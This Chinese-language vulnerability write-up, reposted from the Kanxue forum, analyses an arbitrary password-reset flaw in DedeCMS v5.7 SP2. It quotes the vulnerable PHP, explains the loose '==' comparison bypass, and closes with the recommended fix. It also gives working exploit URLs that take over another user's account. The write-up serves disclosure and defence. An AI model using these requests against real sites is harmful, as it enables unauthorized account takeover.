原文链接:【漏洞复现】DedeCMS v5.7 SP2_任意修改前台用户密码
本文为看雪论坛优秀文章 看雪论坛作者ID:H3h3QAQ 一 漏洞描述 dedecms v5.7可以在前台进行任意修改前台用户密码。 二 影响版本 DedeCMS v5.7 SP2 三 漏洞原理 在/member/resetpasswordd.php,定义了整个密码的充值过程,我们来分析一下: <?php require_once(dirname(__FILE__)."/config.php"); require_once(DEDEMEMBER."/inc/inc_pwd_functions.php"); if(empty($dopost)) $dopost = ""; $id = isset($id)? intval($id) : 0; 在源码的开头处包含进行了一些配置文件以及功能函数文件,之后接受了一个id变量,用来查询用户: if($dopost == "") { include(dirname(__FILE__)."/templets/resetpassword.htm"); } elseif($dopost == "getpwd") { //验证验证码 if(!isset($vdcode)) $vdcode = ''; $svali = GetCkVdValue(); if(strtolower($vdcode) != $svali || $svali=='') { ResetVdValue(); ShowMsg("对不起,验证码输入错误!","-1"); exit(); } //验证邮箱,用户名 if(empty($mail) && empty($userid)) { showmsg('对不起,请输入用户名或邮箱', '-1'); exit; } else if (!preg_match("#(.*)@(.*)\.(.*)#", $mail)) { showmsg('对不起,请输入正确的邮箱格式', '-1'); exit; } else if (CheckUserID($userid, '', false) != 'ok') { ShowMsg("你输入的用户名 {$userid} 不合法!","-1"); exit(); } $member = member($mail, $userid); 之后检查了dopost是否为空,如果为空则重定向到密码重置,若不空则在这里进行匹配,当dopost为getpwd则对用户输入的验证码、邮箱、用户名进行合法校验。 接着往下看: //以邮件方式取回密码; if($type == 1) { //判断系统邮件服务是否开启 if($cfg_sendmail_bysmtp == "Y") { sn($member['mid'],$userid,$member['email']); }else { showmsg('对不起邮件服务暂未开启,请联系管理员', 'login.php'); exit(); } //以安全问题取回密码; } else if ($type == 2) { if($member['safequestion'] == 0) { showmsg('对不起您尚未设置安全密码,请通过邮件方式重设密码', 'login.php'); exit; } require_once(dirname(__FILE__)."/templets/resetpassword3.htm"); } exit(); } else if($dopost == "safequestion") { $mid = preg_replace("#[^0-9]#", "", $id); $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(empty($safequestion)) $safequestion = ''; if(empty($safeanswer)) $safeanswer = ''; if ($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) { sn($mid, $row['userid'], $row['email'], 'N'); exit(); } else { ShowMsg("对不起,您的安全问题或答案回答错误","-1"); exit(); } } 在这里会首先判断找回密码的方式,这里一共提供了两种: 1、邮件方式:首先会检测邮件服务是否开启如果开启则发送邮件,否则给出提示信息 2、安全问题:检测是否有设置安全问题,如果有则重定向到密码重置的第三步,否则给出提示 我们仔细看这一行代码: if ($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) 此处的比较是利用"==",弱类型比较。 该漏洞的触发点在于以安全问题找回密码时的不安全性逻辑设计所导致的,所以我们根据流程进入到以"安全问题"找回密码的逻辑代码中继续分析,可以看到这里会根据之前传递进来的用户id作为参数从数据库查询对应的safequestion、safeanswer,之后于用户提供的safequestion以及safeanswer进行判断。 如果用户没有设置安全问题,数据库里存储的safequestion默认为"0",safeanswer默认为'null',在此处我们可以利用弱类型转换构造成立,例如: '0.0'=0 我们可以测试一下: 可以看到返回值为true。 我们来跟进sn函数: function sn($mid,$userid,$mailto, $send = 'Y') { global $db; $tptim= (60*10); $dtime = time(); $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(!is_array($row)) { //发送新邮件; newmail($mid,$userid,$mailto,'INSERT',$send); } //10分钟后可以再次发送新验证码; elseif($dtime - $tptim > $row['mailtime']) { newmail($mid,$userid,$mailto,'UPDATE',$send); } //重新发送新的验证码确认邮件; else { return ShowMsg('对不起,请10分钟后再重新申请', 'login.php'); } } 在该函数中会首先进行初始化赋值操作(此处的send为上面传递进来的'N'),之后跟进传递的id进行一次sql查询,之后进行判断,在这里我们直接根据newmail查看发送邮件的函数具体实现。 function newmail($mid, $userid, $mailto, $type, $send) { global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl; $mailtime = time(); $randval = random(8); $mailtitle = $cfg_webname.":密码修改"; $mailto = $mailto; $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail"; $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid; if($type == 'INSERT') { $key = md5($randval); $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000'); } else if ($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } } else { return ShowMsg('对不起修改失败,请联系管理员', 'login.php'); } } elseif($type == 'UPDATE') { $key = md5($randval); $sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime' WHERE `mid` ='$mid';"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php'); } elseif($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } } else { ShowMsg('对不起修改失败,请与管理员联系', 'login.php'); } } } 注意这里: elseif($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } 可以看到当send为'N'时,直接在前端页面返回了验证码,又因为用户id是我们可以控制的safequestion下可以绕过,那么也就达成了修改前台任意用户密码的攻击。 三 漏洞复现 这里我准备了两个账号: 攻击者:test\test id=2 被攻击者:test2\1 id=3 第一步:我们登录到攻击者的账号。 第二步:抓包发送以下请求获取key值 http://url/member/resetpassword.php?dopost=safequestion&safequestion=0.0&id=3 第三步:利用key去进行重置密码,访问url: http://url/member/resetpassword.php?dopost=safequestion&safequestion=0.0&id=3&key=mcuxN2QB 可以看到成功跳转到了被攻击者的密码找回,我们将其密码改为hacker 登陆验证一下: 登陆成功,完成了密码修改。 四 漏洞修复 1、将if ($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)中的"=="更换"===" 2、及时升级系统到最新版本
|